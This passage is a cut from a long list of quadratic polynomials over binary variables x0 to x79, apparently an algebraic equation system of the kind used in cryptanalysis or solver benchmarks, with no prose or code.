+ x41*x63 + x41*x64 + x41*x65 + x41*x66 + x41*x70 + x41*x71 + x41*x72 + x41*x73 + x41*x74 + x41*x75 + x41*x78 + x41*x79 + x42*x43 + x42*x45 + x42*x46 + x42*x49 + x42*x50 + x42*x51 + x42*x53 + x42*x55 + x42*x56 + x42*x57 + x42*x58 + x42*x59 + x42*x60 + x42*x66 + x42*x67 + x42*x68 + x42*x69 + x42*x70 + x42*x72 + x42*x74 + x42*x75 + x42*x76 + x43*x47 + x43*x49 + x43*x50 + x43*x51 + x43*x54 + x43*x56 + x43*x57 + x43*x58 + x43*x61 + x43*x62 + x43*x64 + x43*x65 + x43*x66 + x43*x67 + x43*x68 + x43*x69 + x43*x74 + x43*x77 + x43*x78 + x43 + x44*x49 + x44*x51 + x44*x52 + x44*x55 + x44*x59 + x44*x62 + x44*x64 + x44*x66 + x44*x67 + x44*x71 + x44*x72 + x44*x73 + x44*x76 + x44*x77 + x44 + x45*x46 + x45*x48 + x45*x51 + x45*x52 + x45*x55 + x45*x57 + x45*x61 + x45*x63 + x45*x64 + x45*x65 + x45*x67 + x45*x69 + x45*x70 + x45*x71 + x45*x75 + x45*x76 + x45 + x46*x50 + x46*x51 + x46*x53 + x46*x55 + x46*x56 + x46*x57 + x46*x60 + x46*x61 + x46*x62 + x46*x64 + x46*x66 + x46*x67 + x46*x69 + x46*x70 + x46*x72 + x46*x73 + x46*x75 + x46*x77 + x46*x78 + x46*x79 + x47*x48 + x47*x50 + x47*x51 + x47*x52 + x47*x54 + x47*x57 + x47*x59 + x47*x60 + x47*x61 + x47*x64 + x47*x65 + x47*x66 + x47*x67 + x47*x71 + x47 + x48*x49 + x48*x51 + x48*x53 + x48*x54 + x48*x57 + x48*x59 + x48*x60 + x48*x61 + x48*x67 + x48*x68 + x48*x70 + x48*x71 + x48*x72 + x48*x74 + x48*x75 + x48*x78 + x48*x79 + x49*x50 + x49*x52 + x49*x54 + x49*x55 + x49*x56 + x49*x59 + x49*x60 + x49*x61 + x49*x62 + x49*x66 + x49*x69 + x49*x71 + x49*x73 + x49*x74 + x49*x75 + x49*x78 + x50*x54 + x50*x57 + x50*x58 + x50*x59 + x50*x63 + x50*x68 + x50*x70 + x50*x73 + x50*x74 + x50*x75 + x50*x77 + x50*x78 + x50*x79 + x51*x54 + x51*x55 + x51*x57 + x51*x59 + x51*x61 + x51*x63 + x51*x68 + x51*x69 + x51*x73 + x51*x75 + x51*x76 + x51*x78 + x51*x79 + x51 + x52*x53 + x52*x54 + x52*x55 + x52*x56 + x52*x58 + x52*x61 + x52*x62 + x52*x63 + x52*x64 + x52*x66 + x52*x69 + x52*x70 + x52*x71 + x52*x73 + x52*x74 + x52*x75 + x52*x79 + x52 + x53*x55 + x53*x56 + x53*x57 + x53*x59 + x53*x61 + x53*x64 + x53*x65 + x53*x68 + x53*x70 + x53*x71 + x53*x72 + x53*x73 + x53*x74 + x53*x76 + x53 + x54*x55 + x54*x57 + x54*x58 + x54*x60 + x54*x62 + x54*x63 + x54*x66 + x54*x67 + x54*x68 + x54*x71 + x54*x72 + x54*x74 + x54*x76 + x54*x79 + x54 + x55*x58 + x55*x60 + x55*x67 + x55*x68 + x55*x69 + x55*x70 + x55*x71 + x55*x72 + x55*x73 + x55*x75 + x55*x77 + x55*x78 + x56*x57 + x56*x59 + x56*x65 + x56*x68 + x56*x70 + x56*x71 + x56*x72 + x56*x73 + x56*x74 + x56*x75 + x56*x78 + x56*x79 + x56 + x57*x58 + x57*x59 + x57*x60 + x57*x62 + x57*x63 + x57*x64 + x57*x65 + x57*x66 + x57*x70 + x57*x75 + x57*x76 + x57*x78 + x58*x63 + x58*x65 + x58*x69 + x58*x70 + x58*x75 + x58*x76 + x58 + x59*x61 + x59*x62 + x59*x63 + x59*x64 + x59*x67 + x59*x71 + x59*x72 + x59*x73 + x59*x76 + x59*x79 + x60*x65 + x60*x66 + x60*x68 + x60*x69 + x60*x70 + x60*x72 + x60*x74 + x60*x76 + x60*x78 + x61*x64 + x61*x67 + x61*x69 + x61*x70 + x61*x72 + x61*x74 + x61*x78 + x61*x79 + x61 + x62*x63 + x62*x69 + x62*x71 + x62*x72 + x62*x74 + x62*x76 + x62*x77 + x62*x79 + x63*x64 + x63*x67 + x63*x71 + x63*x72 + x63*x74 + x63*x75 + x63*x78 + x63*x79 + x64*x66 + x64*x69 + x64*x70 + x64*x73 + x64*x74 + x64*x76 + x64*x77 + x64*x78 + x64*x79 + x64 + x65*x66 + x65*x73 + x65*x74 + x65*x79 + x66*x67 + x66*x69 + x66*x70 + x66*x72 + x66*x75 + x66*x77 + x66*x79 + x66 + x67*x68 + x67*x69 + x67*x70 + x67*x71 + x67*x72 + x67*x75 + x67*x76 + x67*x77 + x67*x78 + x67*x79 + x68*x69 + x68*x70 + x68*x72 + x68*x75 + x68*x77 + x68*x79 + x69*x71 + x69*x72 + x69*x75 + x69*x76 + x69*x77 + x69*x78 + x70*x72 + x70*x74 + x70*x75 + x70*x77 + x70*x78 + x70*x79 + x71*x72 + x71*x74 + x71*x77 + x72*x73 + x72*x76 + x72*x77 + x72*x78 + x72 + x73*x74 + x73*x75 + x73*x76 + x73*x79 + x73 + x74*x75 + x74*x78 + x74*x79 + x74 + x75*x77 + x75*x78 + x75 + x76*x77 + x76*x78 + x76*x79 + x77*x78 + 1, x0*x1 + x0*x3 + x0*x6 + x0*x7 + x0*x8 + x0*x9 + x0*x11 + x0*x14 + x0*x15 + x0*x16 + x0*x19 + x0*x21 + x0*x22 + x0*x25 + x0*x26 + x0*x28 + x0*x29 + x0*x30 + x0*x34 + x0*x35 + x0*x36 + x0*x38 + x0*x39 + x0*x44 + x0*x45 + x0*x46 + x0*x47 + x0*x48 + x0*x50 + x0*x51 + x0*x53 + x0*x57 + x0*x59 + x0*x60 + x0*x64 + x0*x65 + x0*x67 + x0*x68 + x0*x69 + x0*x70 + x0*x72 + x0*x73 + x0*x74 + x0*x75 + x0*x78 + x0*x79 + x1*x3 + x1*x4 + x1*x6 + x1*x7 + x1*x10 + x1*x12 + x1*x16 + x1*x19 + x1*x22 + x1*x23 + x1*x26 + x1*x28 + x1*x34 + x1*x35 + x1*x36 + x1*x38 + x1*x39 + x1*x40 + x1*x49 + x1*x53 + x1*x54 + x1*x55 + x1*x59 + x1*x62 + x1*x66 + x1*x68 + x1*x74 + x1*x75 + x1*x76 + x1*x77 + x1*x79 + x1 + x2*x7 + x2*x8 + x2*x9 + x2*x10 + x2*x14 + x2*x16 + x2*x17 + x2*x18 + x2*x20 + x2*x21 + x2*x22 + x2*x23 + x2*x24 + x2*x25 + x2*x26 + x2*x27 + x2*x28 + x2*x29 + x2*x30 + x2*x31 + x2*x33 + x2*x35 + x2*x36 + x2*x37 + x2*x39 + x2*x40 + x2*x43 + x2*x46 + x2*x52 + x2*x53 + x2*x54 + x2*x55 + x2*x57 + x2*x60 + x2*x62 + x2*x63 + x2*x64 + x2*x68 + x2*x69 + x2*x71 + x2*x73 + x2*x75 + x2*x77 + x2*x78 + x2*x79 + x2 + x3*x4 + x3*x5 + x3*x9 + x3*x11 + x3*x12 + x3*x13 + x3*x14 + x3*x15 + x3*x16 + x3*x20 + x3*x24 + x3*x26 + x3*x27 + x3*x28 + x3*x29 + x3*x32 + x3*x36 + x3*x37 + x3*x38 + x3*x39 + x3*x41 + x3*x44 + x3*x45 + x3*x49 + x3*x50 + x3*x51 + x3*x56 + x3*x57 + x3*x58 + x3*x61 + x3*x64 + x3*x65 + x3*x66 + x3*x68 + x3*x69 + x3*x70 + x3*x71 + x3*x74 + x3*x75 + x3*x76 + x3*x77 + x3 + x4*x7 + x4*x8 + x4*x10 + x4*x11 + x4*x12 + x4*x15 + x4*x16 + x4*x17 + x4*x20 + x4*x22 + x4*x24 + x4*x25 + x4*x26 + x4*x28 + x4*x31 + x4*x33 + x4*x37 + x4*x38 + x4*x41 + x4*x42 + x4*x43 + x4*x44 + x4*x45 + x4*x47 + x4*x49 + x4*x50 + x4*x51 + x4*x54 + x4*x56 + x4*x57 + x4*x58 + x4*x59 + x4*x61 + x4*x62 + x4*x65 + x4*x66 + x4*x67 + x4*x68 + x4*x69 + x4*x70 + x4*x73 + x4*x74 + x4*x78 + x4*x79 + x5*x6 + x5*x7 + x5*x9 + x5*x10 + x5*x17 + x5*x18 + x5*x22 + x5*x24 + x5*x27 + x5*x29 + x5*x30 + x5*x31 + x5*x32 + x5*x33 + x5*x35 + x5*x37 + x5*x38 + x5*x40 + x5*x42 + x5*x43 + x5*x44 + x5*x46 + x5*x47 + x5*x52 + x5*x54 + x5*x58 + x5*x60 + x5*x61 + x5*x62 + x5*x64 + x5*x67 + x5*x69 + x5*x72 + x5*x74 + x5*x77 + x5 + x6*x8 + x6*x9 + x6*x12 + x6*x15 + x6*x16 + x6*x18 + x6*x20 + x6*x21 + x6*x22 + x6*x25 + x6*x27 + x6*x28 + x6*x29 + x6*x32 + x6*x34 + x6*x35 + x6*x36 + x6*x37 + x6*x38 + x6*x39 + x6*x43 + x6*x45 + x6*x48 + x6*x50 + x6*x53 + x6*x58 + x6*x61 + x6*x64 + x6*x65 + x6*x66 + x6*x67 + x6*x68 + x6*x71 + x6*x72 + x6*x73 + x6*x75 + x7*x8 + x7*x10 + x7*x13 + x7*x17 + x7*x18 + x7*x19 + x7*x20 + x7*x21 + x7*x22 + x7*x26 + x7*x29 + x7*x36 + x7*x39 + x7*x42 + x7*x43 + x7*x46 + x7*x52 + x7*x53 + x7*x54 + x7*x58 + x7*x59 + x7*x60 + x7*x61 + x7*x62 + x7*x63 + x7*x69 + x7*x70 + x7*x71 + x7*x72 + x7*x74 + x7*x76 + x7*x77 + x7*x78 + x8*x9 + x8*x11 + x8*x12 + x8*x13 + x8*x14 + x8*x16 + x8*x19 + x8*x20 + x8*x21 + x8*x24 + x8*x25 + x8*x28 + x8*x32 + x8*x41 + x8*x44 + x8*x51 + x8*x52 + x8*x53 + x8*x54 + x8*x56 + x8*x59 + x8*x63 + x8*x64 + x8*x65 + x8*x68 + x8*x69 + x8*x70 + x8*x71 + x8*x76 + x8 + x9*x11 + x9*x13 + x9*x19 + x9*x23 + x9*x24 + x9*x25 + x9*x26 + x9*x29 + x9*x32 + x9*x34 + x9*x35 + x9*x36 + x9*x37 + x9*x38 + x9*x40 + x9*x43 + x9*x45 + x9*x47 + x9*x49 + x9*x50 + x9*x53 + x9*x54 + x9*x55 + x9*x56 + x9*x57 + x9*x58 + x9*x60 + x9*x61 + x9*x62 + x9*x65 + x9*x71 + x9*x74 + x9*x76 + x9*x77 + x9*x79 + x10*x11 + x10*x13 + x10*x14 + x10*x16 + x10*x17 + x10*x19 + x10*x20 + x10*x21 + x10*x24 + x10*x27 + x10*x29 + x10*x30 + x10*x31 + x10*x33 + x10*x34 + x10*x39 + x10*x41 + x10*x42 + x10*x47 + x10*x48 + x10*x50 + x10*x52 + x10*x55 + x10*x56 + x10*x59 + x10*x62 + x10*x63 + x10*x68 + x10*x72 + x10*x74 + x10*x75 + x10*x77 + x10 + x11*x12 + x11*x14 + x11*x16 + x11*x18 + x11*x20 + x11*x23 + x11*x24 + x11*x25 + x11*x26 + x11*x27 + x11*x28 + x11*x32 + x11*x34 + x11*x41 + x11*x42 + x11*x44 + x11*x48 + x11*x49 + x11*x54 + x11*x56 + x11*x57 + x11*x58 + x11*x60 + x11*x61 + x11*x63 + x11*x65 + x11*x67 + x11*x68 + x11*x69 + x11*x71 + x11*x73 + x11*x74 + x11*x75 + x12*x15 + x12*x16 + x12*x18 + x12*x19 + x12*x21 + x12*x22 + x12*x23 + x12*x27 + x12*x28 + x12*x29 + x12*x30 + x12*x31 + x12*x33 + x12*x34 + x12*x36 + x12*x37 + x12*x39 + x12*x42 + x12*x43 + x12*x46 + x12*x47 + x12*x48 + x12*x50 + x12*x52 + x12*x55 + x12*x61 + x12*x64 + x12*x66 + x12*x67 + x12*x73 + x12*x74 + x12*x76 + x13*x15 + x13*x16 + x13*x20 + x13*x22 + x13*x23 + x13*x24 + x13*x26 + x13*x27 + x13*x30 + x13*x31 + x13*x32 + x13*x33 + x13*x34 + x13*x35 + x13*x36 + x13*x37 + x13*x40 + x13*x43 + x13*x45 + x13*x48 + x13*x49 + x13*x51 + x13*x54 + x13*x58 + x13*x60 + x13*x61 + x13*x67 + x13*x68 + x13*x69 + x13*x71 + x13*x72 + x13*x74 + x13*x75 + x13*x78 + x13*x79 + x13 + x14*x15 + x14*x16 + x14*x19 + x14*x20 + x14*x21 + x14*x22 + x14*x24 + x14*x26 + x14*x27 + x14*x29 + x14*x31 + x14*x32 + x14*x33 + x14*x35 + x14*x38 + x14*x39 + x14*x41 + x14*x42 + x14*x47 + x14*x48 + x14*x50 + x14*x51 + x14*x54 + x14*x60 + x14*x61 + x14*x62 + x14*x64 + x14*x71 + x14*x72 + x14*x73 + x14*x74 + x14*x76 + x14*x77 + x14*x78 + x15*x20 + x15*x21 + x15*x23 + x15*x28 + x15*x29 + x15*x30 + x15*x31 + x15*x32 + x15*x33 + x15*x37 + x15*x39 + x15*x40 + x15*x41 + x15*x44 + x15*x48 + x15*x50 + x15*x52 + x15*x54 + x15*x56 + x15*x57 + x15*x58 + x15*x59 + x15*x61 + x15*x64 + x15*x65 + x15*x69 + x15*x70 + x15*x74 + x15*x75 + x15*x77 + x15*x79 + x16*x19 + x16*x22 + x16*x23 + x16*x27 + x16*x29 + x16*x32 + x16*x33 + x16*x34 + x16*x35 + x16*x37 + x16*x42 + x16*x47 + x16*x48 + x16*x49 + x16*x50 + x16*x51 + x16*x52 + x16*x53 + x16*x55 + x16*x56 + x16*x60 + x16*x61 + x16*x62 + x16*x64 + x16*x65 + x16*x66 + x16*x67 + x16*x69 + x16*x71 + x16*x73 + x16*x74 + x16*x76 + x16*x77 + x16*x78 + x16*x79 + x17*x19 + x17*x21 + x17*x22 + x17*x23 + x17*x26 + x17*x29 + x17*x30 + x17*x36 + x17*x37 + x17*x39 + x17*x41 + x17*x42 + x17*x45 + x17*x46 + x17*x50 + x17*x51 + x17*x52 + x17*x53 + x17*x54 + x17*x56 + x17*x57 + x17*x59 + x17*x61 + x17*x62 + x17*x63 + x17*x65 + x17*x66 + x17*x67 + x17*x68 + x17*x71 + x17*x73 + x17*x75 + x17*x79 + x17 + x18*x19 + x18*x20 + x18*x21 + x18*x24 + x18*x28 + x18*x29 + x18*x30 + x18*x31 + x18*x36 + x18*x37 + x18*x38 + x18*x40 + x18*x41 + x18*x42 + x18*x47 + x18*x48 + x18*x50 + x18*x54 + x18*x55 + x18*x58 + x18*x60 + x18*x63 + x18*x65 + x18*x66 + x18*x67 + x18*x68 + x18*x69 + x18*x71 + x18*x73 + x18*x74 + x18*x77 + x18*x78 + x18*x79 + x18 + x19*x22 + x19*x23 + x19*x24 + x19*x26 + x19*x28 + x19*x29 + x19*x31 + x19*x32 + x19*x34 + x19*x35 + x19*x41 + x19*x42 + x19*x44 + x19*x47 + x19*x48 + x19*x52 + x19*x53 + x19*x56 + x19*x58 + x19*x60 + x19*x61 + x19*x63 + x19*x64 + x19*x65 + x19*x68 + x19*x69 + x19*x70 + x19*x71 + x19*x73 + x19*x75 + x19*x78 + x19*x79 + x19 + x20*x23 + x20*x25 + x20*x26 + x20*x27 + x20*x29 + x20*x31 + x20*x32 + x20*x35 + x20*x36 + x20*x39 + x20*x40 + x20*x41 + x20*x43 + x20*x48 + x20*x52 + x20*x54 + x20*x57 + x20*x59 + x20*x60 + x20*x61 + x20*x72 + x20*x74 + x20*x77 + x20*x78 + x20*x79 + x20 + x21*x26 + x21*x27 + x21*x28 + x21*x29 + x21*x30 + x21*x31 + x21*x32 + x21*x36 + x21*x39 + x21*x40 + x21*x44 + x21*x46 + x21*x49 + x21*x50 + x21*x51 + x21*x52 + x21*x53 + x21*x55 + x21*x60 + x21*x62 + x21*x63 + x21*x64 + x21*x69 + x21*x70 + x21*x71 + x21*x72 + x21*x74 + x21*x78 + x21*x79 + x22*x25 + x22*x27 + x22*x31 + x22*x32 + x22*x33 + x22*x35 + x22*x37 + x22*x38 + x22*x39 + x22*x40 + x22*x41 + x22*x42 + x22*x46 + x22*x47 + x22*x49 + x22*x50 + x22*x52 + x22*x53 + x22*x54 + x22*x57 + x22*x59 + x22*x61 + x22*x64 + x22*x66 + x22*x72 + x22*x73 + x22*x74 + x22*x77 + x22*x78 + x22 + x23*x25 + x23*x27 + x23*x28 + x23*x29 + x23*x30 + x23*x31 + x23*x32 + x23*x33 + x23*x36 + x23*x37 + x23*x40 + x23*x41 + x23*x42 + x23*x46 + x23*x47 + x23*x50 + x23*x52 + x23*x53 + x23*x55 + x23*x56 + x23*x57 + x23*x59 + x23*x62 + x23*x65 + x23*x67 + x23*x69 + x23*x70 + x23*x72 + x23*x75 + x23*x76 + x23*x78 + x23 + x24*x27 + x24*x29 + x24*x30 + x24*x34 + x24*x36 + x24*x38 + x24*x39 + x24*x40 + x24*x42 + x24*x44 + x24*x45 + x24*x47 + x24*x48 + x24*x51 + x24*x52 + x24*x58 + x24*x63 + x24*x67 + x24*x69 + x24*x70 + x24*x72 + x24*x77 + x24*x78 + x24 + x25*x26 + x25*x27 + x25*x28 + x25*x30 + x25*x36 + x25*x40 + x25*x47 + x25*x48 + x25*x50 + x25*x53 + x25*x54 + x25*x55 + x25*x56 + x25*x58 + x25*x60 + x25*x63 + x25*x69 + x25*x71 + x25*x75 + x25*x76 + x25*x78 + x25*x79 + x26*x27 + x26*x29 + x26*x30 + x26*x32 + x26*x33 + x26*x34 + x26*x35 + x26*x37 + x26*x40 + x26*x41 + x26*x42 + x26*x43 + x26*x48 + x26*x50 + x26*x51 + x26*x52 + x26*x53 + x26*x55 + x26*x56 + x26*x57 + x26*x60 + x26*x61 + x26*x63 + x26*x64 + x26*x66 + x26*x67 + x26*x69 + x26*x71 + x26*x72 + x26*x78 + x26*x79 + x27*x28 + x27*x29 + x27*x30 + x27*x31 + x27*x32 + x27*x34 + x27*x35 + x27*x36 + x27*x37 + x27*x38 + x27*x45 + x27*x48 + x27*x49 + x27*x50 + x27*x53 + x27*x54 + x27*x58 + x27*x59 + x27*x60 + x27*x63 + x27*x64 + x27*x66 + x27*x67 + x27*x68 + x27*x71 + x27*x72 + x27*x73 + x27*x75 + x27*x78 + x28*x30 + x28*x31 + x28*x32 + x28*x33 + x28*x34 + x28*x38 + x28*x39 + x28*x44 + x28*x46 + x28*x48 + x28*x50 + x28*x51 + x28*x52 + x28*x53 + x28*x54 + x28*x56 + x28*x57 + x28*x58 + x28*x59 + x28*x61 + x28*x62 + x28*x63 + x28*x66 + x28*x72 + x28*x74 + x28*x75 + x28*x79 + x29*x30 + x29*x31 + x29*x34 + x29*x36 + x29*x37 + x29*x39 + x29*x40 + x29*x41 + x29*x42 + x29*x44 + x29*x45 + x29*x48 + x29*x50 + x29*x51 + x29*x53 + x29*x55 + x29*x62 + x29*x63 + x29*x65 + x29*x66 + x29*x68 + x29*x69 + x29*x70 + x29*x71 + x29*x72 + x29*x73 + x29*x74 + x29*x75 + x29*x76 + x29 + x30*x33 + x30*x35 + x30*x37 + x30*x38 + x30*x39 + x30*x42 + x30*x43 + x30*x45 + x30*x46 + x30*x49 + x30*x51 + x30*x52 + x30*x53 + x30*x55 + x30*x57 + x30*x58 + x30*x60 + x30*x61 + x30*x62 + x30*x64 + x30*x65 + x30*x72 + x30*x75 + x30*x79 + x31*x38 + x31*x42 + x31*x43 + x31*x44 + x31*x45 + x31*x46 + x31*x47 + x31*x49 + x31*x51 + x31*x53 + x31*x54 + x31*x55 + x31*x56 + x31*x57 + x31*x60 + x31*x66 + x31*x67 + x31*x70 + x31*x71 + x31*x72 + x31*x73 + x31*x76 + x32*x33 + x32*x34 + x32*x36 + x32*x38 + x32*x41 + x32*x42 + x32*x43 + x32*x44 + x32*x45 + x32*x46 + x32*x47 + x32*x49 + x32*x50 + x32*x52 + x32*x53 + x32*x58 + x32*x59 + x32*x60 + x32*x63 + x32*x64 + x32*x65 + x32*x66 + x32*x67 + x32*x68 + x32*x69 + x32*x70 + x32*x72 + x32*x74 + x32*x79 + x32 + x33*x35 + x33*x36 + x33*x37 + x33*x38 + x33*x40 + x33*x41 + x33*x42 + x33*x46 + x33*x47 + x33*x48 + x33*x49 + x33*x51 + x33*x53 + x33*x54 + x33*x56 + x33*x57 + x33*x58 + x33*x60 + x33*x62 + x33*x63 + x33*x66 + x33*x68 + x33*x70 + x33*x73 + x33*x74 + x33*x75 + x34*x38 + x34*x44 + x34*x49 + x34*x50 + x34*x51 + x34*x52 + x34*x55 + x34*x58 + x34*x59 + x34*x60 + x34*x61 + x34*x62 + x34*x64 + x34*x67 + x34*x68 + x34*x71 + x34*x72 + x34*x73 + x34*x76 + x34*x77 + x34*x78 + x34*x79 + x35*x37 + x35*x42 + x35*x43 + x35*x47 + x35*x49 + x35*x51 + x35*x53 + x35*x62 + x35*x64 + x35*x66 + x35*x67 + x35*x68 + x35*x69 + x35*x70 + x35*x72 + x35*x76 + x35 + x36*x39 + x36*x41 + x36*x43 + x36*x44 + x36*x48 + x36*x49 + x36*x50 + x36*x52 + x36*x53 + x36*x56 + x36*x57 + x36*x58 + x36*x64 + x36*x65 + x36*x66 + x36*x67 + x36*x68 + x36*x69 + x36*x70 + x36*x71 + x36*x75 + x36*x77 + x36*x78 + x36 + x37*x49 + x37*x50 + x37*x51 + x37*x54 + x37*x56 + x37*x60 + x37*x61 + x37*x62 + x37*x65 + x37*x67 + x37*x69 + x37*x73 + x37*x79 + x38*x40 + x38*x41 + x38*x43 + x38*x44 + x38*x45 + x38*x48 + x38*x49 + x38*x50 + x38*x52 + x38*x53 + x38*x54 + x38*x55 + x38*x56 + x38*x57 + x38*x59 + x38*x60 + x38*x61 + x38*x62 + x38*x71 + x38*x72 + x38*x73 + x38*x74 + x38*x78 + x38*x79 + x39*x41 + x39*x42 + x39*x43 + x39*x45 + x39*x46 + x39*x47 + x39*x48 + x39*x50 + x39*x52 + x39*x56 + x39*x58 + x39*x61 + x39*x63 + x39*x64 + x39*x65 + x39*x71 + x39*x72 + x39*x77 + x39*x78 + x39*x79 + x40*x41 + x40*x45 + x40*x47 + x40*x49 + x40*x50 + x40*x53 + x40*x54 + x40*x55 + x40*x56 + x40*x57 + x40*x58 + x40*x69 + x40*x70 + x40*x71 + x40*x76 + x40*x77 + x40*x78 + x40*x79 + x41*x45 + x41*x46 + x41*x48 + x41*x49 + x41*x50 + x41*x52 + x41*x53 + x41*x55 + x41*x56 + x41*x57 + x41*x61 + x41*x62 + x41*x63 + x41*x65 + x41*x68 + x41*x70 + x41*x75 + x41*x77 + x41*x78 + x41*x79 + x41 + x42*x44 + x42*x46 + x42*x47 + x42*x49 + x42*x53 + x42*x55 + x42*x57 + x42*x58 + x42*x59 + x42*x60 + x42*x62 + x42*x63 + x42*x66 + x42*x67 + x42*x70 + x42*x71 + x42*x76 + x42*x77 + x42*x78 + x42*x79 + x43*x44 + x43*x50 + x43*x51 + x43*x52 + x43*x55 + x43*x60 + x43*x62 + x43*x65 + x43*x68 + x43*x69 + x43*x71 + x43*x72 + x43*x73 + x43*x76 + x43*x78 + x43 + x44*x48 + x44*x49 + x44*x51 + x44*x53 + x44*x54 + x44*x55 + x44*x59 + x44*x60 + x44*x61 + x44*x62 + x44*x66 + x44*x67 + x44*x69 + x44*x70 + x44*x71 + x44*x74 + x44*x75 + x44*x77 + x44*x78 + x45*x47 + x45*x49 + x45*x50 + x45*x51 + x45*x52 + x45*x53 + x45*x57 + x45*x58 + x45*x62 + x45*x63 + x45*x65 + x45*x66 + x45*x67 + x45*x68 + x45*x69 + x45*x70 + x45*x71 + x45*x72 + x45*x76 + x46*x47 + x46*x48 + x46*x51 + x46*x53 + x46*x55 + x46*x58 + x46*x59 + x46*x60 + x46*x64 + x46*x65 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x73 + x46*x76 + x46*x77 + x46*x78 + x46 + x47*x48 + x47*x50 + x47*x56 + x47*x59 + x47*x61 + x47*x64 + x47*x65 + x47*x66 + x47*x67 + x47*x71 + x47*x72 + x47*x73 + x47*x74 + x47*x75 + x47*x76 + x48*x49 + x48*x50 + x48*x51 + x48*x52 + x48*x55 + x48*x56 + x48*x61 + x48*x62 + x48*x65 + x48*x66 + x48*x69 + x48*x72 + x48*x73 + x48*x75 + x48*x76 + x48*x77 + x48*x79 + x48 + x49*x51 + x49*x52 + x49*x54 + x49*x58 + x49*x59 + x49*x61 + x49*x62 + x49*x63 + x49*x66 + x49*x67 + x49*x68 + x49*x71 + x49*x74 + x49*x75 + x49*x77 + x49*x79 + x49 + x50*x51 + x50*x53 + x50*x59 + x50*x63 + x50*x65 + x50*x69 + x50*x70 + x50*x73 + x50*x74 + x50*x75 + x50*x78 + x51*x52 + x51*x53 + x51*x55 + x51*x56 + x51*x57 + x51*x58 + x51*x60 + x51*x61 + x51*x62 + x51*x63 + x51*x64 + x51*x65 + x51*x66 + x51*x67 + x51*x68 + x51*x71 + x51*x73 + x51*x75 + x51*x76 + x51*x77 + x51*x78 + x51 + x52*x53 + x52*x54 + x52*x63 + x52*x67 + x52*x68 + x52*x72 + x52*x73 + x52*x75 + x52*x76 + x52*x77 + x52*x78 + x52*x79 + x52 + x53*x54 + x53*x55 + x53*x56 + x53*x57 + x53*x60 + x53*x61 + x53*x63 + x53*x65 + x53*x67 + x53*x78 + x53 + x54*x59 + x54*x62 + x54*x63 + x54*x66 + x54*x67 + x54*x77 + x54*x78 + x54*x79 + x54 + x55*x56 + x55*x57 + x55*x58 + x55*x60 + x55*x61 + x55*x65 + x55*x67 + x55*x69 + x55*x71 + x55*x75 + x55*x76 + x55*x77 + x55*x78 + x55*x79 + x56*x57 + x56*x59 + x56*x62 + x56*x63 + x56*x65 + x56*x73 + x56*x77 + x57*x58 + x57*x60 + x57*x62 + x57*x63 + x57*x64 + x57*x65 + x57*x66 + x57*x69 + x57*x70 + x57*x72 + x57*x74 + x57*x75 + x57*x78 + x57 + x58*x63 + x58*x65 + x58*x67 + x58*x68 + x58*x70 + x58*x71 + x58*x72 + x58*x73 + x58*x74 + x58*x75 + x58*x78 + x58 + x59*x61 + x59*x62 + x59*x63 + x59*x64 + x59*x70 + x59*x72 + x59*x73 + x59*x75 + x59*x77 + x59*x78 + x60*x61 + x60*x63 + x60*x65 + x60*x68 + x60*x69 + x60*x75 + x60*x76 + x60*x78 + x61*x62 + x61*x63 + x61*x67 + x61*x69 + x61*x70 + x61*x72 + x61*x73 + x61*x75 + x61*x77 + x61*x79 + x61 + x62*x63 + x62*x64 + x62*x65 + x62*x67 + x62*x74 + x62*x75 + x62*x76 + x62*x77 + x62*x78 + x62*x79 + x62 + x63*x65 + x63*x73 + x63*x77 + x63*x78 + x64*x69 + x64*x70 + x64*x72 + x64*x74 + x64*x79 + x64 + x65*x66 + x65*x67 + x65*x70 + x65*x71 + x65*x72 + x65*x75 + x65*x76 + x65*x77 + x65*x79 + x65 + x66*x74 + x66*x75 + x66*x77 + x66*x79 + x66 + x67*x68 + x67*x70 + x67*x71 + x67*x75 + x67*x79 + x67 + x68*x69 + x68*x70 + x68*x71 + x68*x72 + x68*x73 + x68*x75 + x68*x76 + x68*x77 + x68*x78 + x69*x75 + x69 + x70*x72 + x70*x74 + x70*x75 + x71*x74 + x71*x79 + x71 + x72*x73 + x72*x76 + x72*x77 + x72*x78 + x73*x77 + x73*x78 + x73*x79 + x74*x75 + x74 + x75*x78 + x75*x79 + x76*x78 + x76*x79 + x76 + x77 + x78, x0*x3 + x0*x4 + x0*x5 + x0*x7 + x0*x9 + x0*x10 + x0*x13 + x0*x15 + x0*x16 + x0*x17 + x0*x18 + x0*x19 + x0*x21 + x0*x22 + x0*x25 + x0*x27 + x0*x31 + x0*x32 + x0*x33 + x0*x35 + x0*x39 + x0*x45 + x0*x47 + x0*x49 + x0*x51 + x0*x53 + x0*x55 + x0*x56 + x0*x57 + x0*x59 + x0*x61 + x0*x64 + x0*x66 + x0*x67 + x0*x68 + x0*x72 + x0*x73 + x0*x74 + x0*x75 + x0*x77 + x0*x78 + x1*x3 + x1*x4 + x1*x6 + x1*x9 + x1*x11 + x1*x17 + x1*x18 + x1*x19 + x1*x25 + x1*x27 + x1*x30 + x1*x31 + x1*x33 + x1*x34 + x1*x35 + x1*x38 + x1*x39 + x1*x43 + x1*x46 + x1*x47 + x1*x49 + x1*x51 + x1*x53 + x1*x56 + x1*x57 + x1*x58 + x1*x61 + x1*x66 + x1*x68 + x1*x70 + x1*x71 + x1*x72 + x1*x76 + x1*x77 + x1*x78 + x2*x4 + x2*x5 + x2*x6 + x2*x8 + x2*x9 + x2*x11 + x2*x12 + x2*x16 + x2*x17 + x2*x18 + x2*x19 + x2*x20 + x2*x22 + x2*x23 + x2*x24 + x2*x26 + x2*x28 + x2*x29 + x2*x31 + x2*x33 + x2*x35 + x2*x37 + x2*x38 + x2*x40 + x2*x45 + x2*x46 + x2*x48 + x2*x50 + x2*x53 + x2*x56 + x2*x61 + x2*x62 + x2*x68 + x2*x69 + x2*x70 + x2*x71 + x2*x75 + x2*x76 + x2*x77 + x2 + x3*x7 + x3*x9 + x3*x12 + x3*x13 + x3*x14 + x3*x16 + x3*x18 + x3*x21 + x3*x28 + x3*x29 + x3*x32 + x3*x34 + x3*x35 + x3*x38 + x3*x39 + x3*x41 + x3*x42 + x3*x46 + x3*x48 + x3*x54 + x3*x57 + x3*x58 + x3*x63 + x3*x70 + x3*x71 + x3*x72 + x3*x73 + x3*x74 + x3*x75 + x3*x78 + x3*x79 + x4*x8 + x4*x9 + x4*x10 + x4*x14 + x4*x15 + x4*x16 + x4*x18 + x4*x19 + x4*x20 + x4*x21 + x4*x25 + x4*x27 + x4*x29 + 